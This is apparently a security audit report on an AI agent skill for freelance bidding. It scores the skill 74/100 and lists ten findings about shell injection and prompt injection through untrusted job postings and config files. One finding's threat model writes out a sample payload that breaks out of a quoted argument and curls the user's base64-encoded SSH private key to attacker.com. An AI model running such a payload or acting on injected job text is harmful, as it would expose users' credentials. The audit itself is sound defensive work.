Oathe Security Badge

oathe / scan / reports / caution

Is liushaolin/freelance-pilot safe?

Use with caution. liushaolin/freelance-pilot is not clearly unsafe, but the audit flagged risks to review before you install it. Oathe's behavioral security audit gave the freelance-pilot skill by liushaolin a trust score of 74/100 with 10 findings (2 high). Report updated

https://github.com/openclaw/skills/tree/main/skills/liushaolin/freelance-pilot

74
CAUTION

Is liushaolin/freelance-pilot safe to install?

FreelancePilot is a functionally legitimate freelance bidding assistant whose index.js code is benign, but whose INTEGRATION.md installs a persistent shell-execution protocol into the agent's system prompt that automatically runs Node.js commands on every employer-written job description without per-invocation user approval. This creates a standing attack surface for shell injection via maliciously crafted job postings on platforms like Upwork and Fiverr, exploitable by any employer who can publish content the agent will process. No canary files were accessed or exfiltrated by the skill, and installation behavior was clean.

What security issues were found in liushaolin/freelance-pilot?

Category Scores

Prompt Injection 62/100 · 30%
Data Exfiltration 83/100 · 25%
Code Execution 62/100 · 20%
Clone Behavior 90/100 · 10%
Canary Integrity 100/100 · 10%
Behavioral Reasoning 65/100 · 5%

Findings (10)

HIGH Persistent Shell-Execution Protocol Embedded in Agent System Prompt via INTEGRATION.md -25 ▶

INTEGRATION.md is explicitly designed to be copied verbatim into an agent's SOUL.md or AGENTS.md system-prompt file. Once there, it permanently instructs the agent to execute shell commands on every job description it encounters, without per-invocation user approval. Because job descriptions originate from untrusted external parties (employers on Upwork, Fiverr, etc.), this creates a persistent, unconditional attack surface for any content those parties can publish.

Evidence: INTEGRATION.md '✄ COPY BELOW THIS LINE ✄' section: 'Run `node freelance-pilot/index.js scan-job "[job text]"` to check for red flags.' This block is intended for paste into SOUL.md/AGENTS.md.

HIGH Untrusted Employer-Written Job Text Passed as Shell Argument Without Sanitization -25 ▶

The INTEGRATION.md protocol directs the agent to substitute a raw job description—sourced from any employer on the internet—into a shell command invocation as an unquoted or minimally quoted argument. If the agent runtime invokes this via a shell process (rather than execve with discrete arguments), metacharacters in the job text (;, $(...), backticks, &&) could break argument context and execute attacker-controlled commands with the agent's filesystem and environment privileges.

Evidence: INTEGRATION.md: 'Run `node freelance-pilot/index.js scan-job "[job text]"` to check for red flags.' index.js handleScan(): `const jobDescription = ARGS.slice(1).join(" ").toLowerCase()` — input arrives via process.argv with no validation before processing.

MEDIUM SOUL.md Integration Creates Permanent Autonomous Shell-Execution Behavior -20 ▶

Unlike skills invoked on explicit user command, this skill's INTEGRATION.md installs a standing protocol where the agent automatically triggers shell commands whenever a job post is shared—without the user reauthorizing each execution. This means a one-time installation decision creates a permanent, unconstrained attack surface for the entire lifetime of the agent configuration.

Evidence: INTEGRATION.md: 'When I share a Job Description (Upwork/Fiverr/Job Post): 1. Analyze First (Don't just reply): Run `node freelance-pilot/index.js scan-job "[job text]"` ...'

MEDIUM Agent Instructed to Ignore User-Facing Job Requirements on All Job Posts -13 ▶

The get-prompt-template command returns a hardcoded prompt that instructs the agent to 'Ignore their requirements list initially,' reframing every job analysis around a sales technique chosen by the skill author. This is a behavioral override that substitutes the skill author's preferences for the user's analytical intent on every job the agent reviews.

Evidence: index.js handlePrompt(): 'You are an expert Freelance Sales Engineer... 1. Ignore their requirements list initially. 2. Identify the BUSINESS PROBLEM...'

MEDIUM Executable Node.js Script Shipped in Skill Package and Actively Invoked by Protocol -13 ▶

index.js is functional executable code distributed with the skill. Its current implementation is benign (string keyword matching, basic arithmetic), but shipping executable code that is automatically invoked on untrusted external input establishes a code-execution pathway. If the skill is updated by the author, a future version of index.js could introduce network calls or data reads while the INTEGRATION.md protocol continues invoking it transparently.

Evidence: File: /home/oc-exec/skill-under-test/index.js present in package. INTEGRATION.md directs: 'Run `node freelance-pilot/index.js calculate-bid [hours] [complexity]`' and scan-job variant.

MEDIUM Portfolio Highlight from config.json Injected Verbatim into Agent Prompts -12 ▶

The handlePrompt() function reads portfolio_highlight from config.json and interpolates it directly into the LLM prompt string without escaping or validation. If config.json is modified—by the user, by another skill, or via path traversal—arbitrary content is silently injected into the agent's instructions on every get-prompt-template call.

Evidence: index.js handlePrompt(): `const portfolioItem = (config && config.portfolio_highlight) ? config.portfolio_highlight : 'General Portfolio'; console.log('... Reference the user\'s portfolio item: "${portfolioItem}"...')`

MEDIUM Shell Injection Chain Exploitable via Malicious Job Postings on Freelance Platforms -10 ▶

A threat actor with the ability to publish job postings on Upwork, Fiverr, or Toptal can craft a description whose content, when substituted into the scan-job shell invocation, breaks out of the argument context and executes arbitrary commands. This is an indirect but realistic attack path that requires no further compromise of the skill or the agent host.

Evidence: Threat model: employer posts job with description `legitimate text"; curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa|base64) #`. Agent executes: `node index.js scan-job "legitimate text"; curl attacker.com/...`

LOW Third-Party Gumroad URL Embedded in Skill Prompt Content -5 ▶

SKILL.md contains a hyperlink to a Gumroad storefront for the PRO version. This URL is injected into the agent's context whenever SKILL.md is loaded. While the current destination appears to be legitimate marketing, third-party URLs in skill prompts can be updated post-publication to track agent activity, redirect to phishing pages, or load additional instructions.

Evidence: SKILL.md: '[👉 Get FreelancePilot PRO on Gumroad](https://gumroad.com/l/freelance-pilot)'

LOW Skill Amplification Risk in Multi-Skill Agent Configurations -5 ▶

In an agent with multiple skills loaded, the FreelancePilot SOUL.md protocol that reads portfolio_highlight from config.json could be exploited: a file-read skill could write attacker-controlled content to config.json, which is then injected into every subsequent prompt template. The risk is low in isolation but increases with the agent's overall capability surface.

Evidence: index.js handlePrompt() reads config.json without path restriction: `const configPath = path.join(__dirname, 'config.json')`. If another skill can write to this path, the prompt template becomes an injection vector.

INFO Ubuntu Infrastructure Connections Visible During Installation Monitoring Window -10 ▶

Connections to 91.189.91.48:443 and 185.125.188.59:443 (Canonical/Ubuntu servers) were captured in the tcpdump window. Auditd process execution logs attribute these to MOTD update scripts (/etc/update-motd.d/) that fire on every SSH login—a normal system behavior that is unrelated to the skill's installation or execution.

Evidence: Network monitoring: 91.189.91.48:443 and 185.125.188.59:443 in pcap. Auditd: EXECVE for /bin/sh /etc/update-motd.d/50-motd-news, /etc/update-motd.d/90-updates-available, etc. at the same timestamps.

Should I install liushaolin/freelance-pilot?

Oathe's verdict for liushaolin/freelance-pilot is CAUTION with a trust score of 74/100. Recommendation: Review before install.